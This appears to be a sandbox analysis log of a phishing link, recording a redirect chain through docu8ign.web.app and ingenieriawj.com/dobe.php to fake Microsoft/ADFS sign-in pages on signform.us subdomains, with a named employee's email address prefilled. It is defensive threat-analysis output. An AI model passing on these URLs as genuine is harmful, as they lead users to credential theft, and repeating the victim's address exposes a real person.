Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1Host: ingenieriawj.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://docu8ign.web.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?username=stefan.bubestinger@hoerbiger.com HTTP/1.1Host: accounts.signform.usConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?username=stefan.bubestinger@hoerbiger.com HTTP/1.1Host: accounts.signform.usConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: 3555af0f-b98cbfac.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.signform.ussec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://accounts.signform.us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b98cbfac3b4f48f1a0cb583440b2d360/ HTTP/1.1Host: accounts.signform.usConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://accounts.signform.usSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="Sec-WebSocket-Key: 9oTOC+PO0iQbeQkc5dpruQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /?username=stefan.bubestinger@hoerbiger.com&sso_reload=true HTTP/1.1Host: accounts.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: accounts.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: 3555af0f-b98cbfac.signform.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://accounts.signform.us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/style.css?id=3B1A0C704CDAE8ECD48AA8F0D50409D981CEF21D7AE6DC85B0797D270101B151 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://69cde8a9-b98cbfac.signform.us/adfs/ls/?login_hint=stefan.bubestinger%40hoerbiger.com&client-request-id=4c278519-17f3-4322-9523-e7d2bea4058f&username=stefan.bubestinger%40hoerbiger.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=estsredirect%3d2%26estsrequest%3drQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQkW9V9PosrOU9Vfn5p3xLW_lWMyoSN0L_AyPiCkXESk0JxSWpaYp5eUmlSanFJZl56apFDRn5qUVImkAVSeYtJ0L8o3TMlvNgtNSW1KLEkMz_vETNBbRdYBF6x8BgwW3FwcAkwSDAoMPxgYVzECnTvenPxhy56k30WVWztXuFym-EUq76pSaJxoYtPvllOZWlukIulZ3FWoqV5lF-2QVJ2kIV5WJV2bphpQaFTaLGFraGV4QQ2oQlsTKfYGD6wMXawM8xiZzjAyXiAl-EH3_N3zyYdub79nccGAYYHAgwA0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/portal/logo/logo.png?id=ED67F68E42EDB0D1E6087D97445D46B2A475DAD7A6697670C1F161B419E5D2B4 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /adfs/portal/illustration/illustration.png?id=0C5D289F7460277C6F03A53FB814E3CB9DFED9A48038DB976535D9C1A7B89970 HTTP/1.1Host: 69cde8a9-b98cbfac.signform.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qCAVv7="Yjk4Y2JmYWMtM2I0Zi00OGYxLWEwY2ItNTgzNDQwYjJkMzYwOmNhNzNiNTEyLTY3MzQtNDRkOC04OTE5LTJmOTE5MzZhYThhMQ=="
Source: global traffic	HTTP traffic detected: GET /dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1Host: www.ingenieriawj.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: cnrsys.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: docu8ign.web.app
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: ingenieriawj.com
Source: global traffic	DNS traffic detected: DNS query: www.ingenieriawj.com
Source: global traffic	DNS traffic detected: DNS query: accounts.signform.us
Source: global traffic	DNS traffic detected: DNS query: 3555af0f-b98cbfac.signform.us
Source: global traffic	DNS traffic detected: DNS query: 69cde8a9-b98cbfac.signform.us
Source: global traffic	DNS traffic detected: DNS query: 134694a7-b98cbfac.signform.us

Source: unknown

HTTP traffic detected: POST /.jhg/ HTTP/1.1Host: cnrsys.comConnection: keep-aliveContent-Length: 22sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"InCYOsRyGtg7pOtfBseSx0TDQ: 46332950X-Requested-TimeStamp-Expire: sec-ch-ua-mobile: ?0X-Requested-TimeStamp-Combination: X-Requested-Type-Combination: GETContent-type: application/x-www-form-urlencodedX-Requested-Type: GETUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-with: XMLHttpRequestX-Requested-TimeStamp: sec-ch-ua-platform: "Windows"Accept: */*Origin: https://cnrsys.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cnrsys.com/.jhg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 30066Cache-Control: max-age=3600Content-Type: text/html; charset=utf-8Etag: "f6455d71835b980547f2cea8f70e1fac5e21565ee98988421ebcb5927521f682"Last-Modified: Fri, 06 Sep 2024 08:18:30 GMTStrict-Transport-Security: max-age=31556926; includeSubDomains; preloadAccept-Ranges: bytesDate: Fri, 27 Sep 2024 06:18:38 GMTX-Served-By: cache-ewr-kewr1740027-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1727417919.719954,VS0,VE129Vary: x-fh-requested-host, accept-encodingalt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 06:18:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 3d8a0cef-d42c-4b8d-8de6-6977fa5ea400x-ms-ests-server: 2.1.18947.4 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 06:18:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 4ccb32c1-9787-4530-9ca7-f257a03d9700x-ms-ests-server: 2.1.18947.4 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://134694a7-b98cbfac.signform.us/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 27 Sep 2024 06:18:57 GMTContent-Type: text/html; charset=us-asciiContent-Length: 256Connection: closevary: Accept-Encodingcontent-encoding: gzipaccess-control-allow-origin: access-control-allow-headers:

Source: chromecache_103.2.dr, chromecache_81.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_103.2.dr, chromecache_81.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficc
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqx
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90b
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1
Source: chromecache_77.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/js/oneDs_472fa3a12b65cf387ccd.js
Source: chromecache_86.2.dr	String found in binary or memory: https://docu8ign.web.app/$
Source: chromecache_83.2.dr, chromecache_103.2.dr, chromecache_85.2.dr, chromecache_81.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_77.2.dr	String found in binary or memory: https://ingenieriawj.com/dobe.php?url=
Source: chromecache_77.2.dr	String found in binary or memory: https://login.live.com/Me.htm?v=3
Source: chromecache_79.2.dr, chromecache_92.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_77.2.dr	String found in binary or memory: https://login.microsoftonline.com/common/login
Source: chromecache_77.2.dr	String found in binary or memory: https://login.microsoftonline.com/jsdisabled
Source: chromecache_79.2.dr, chromecache_92.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
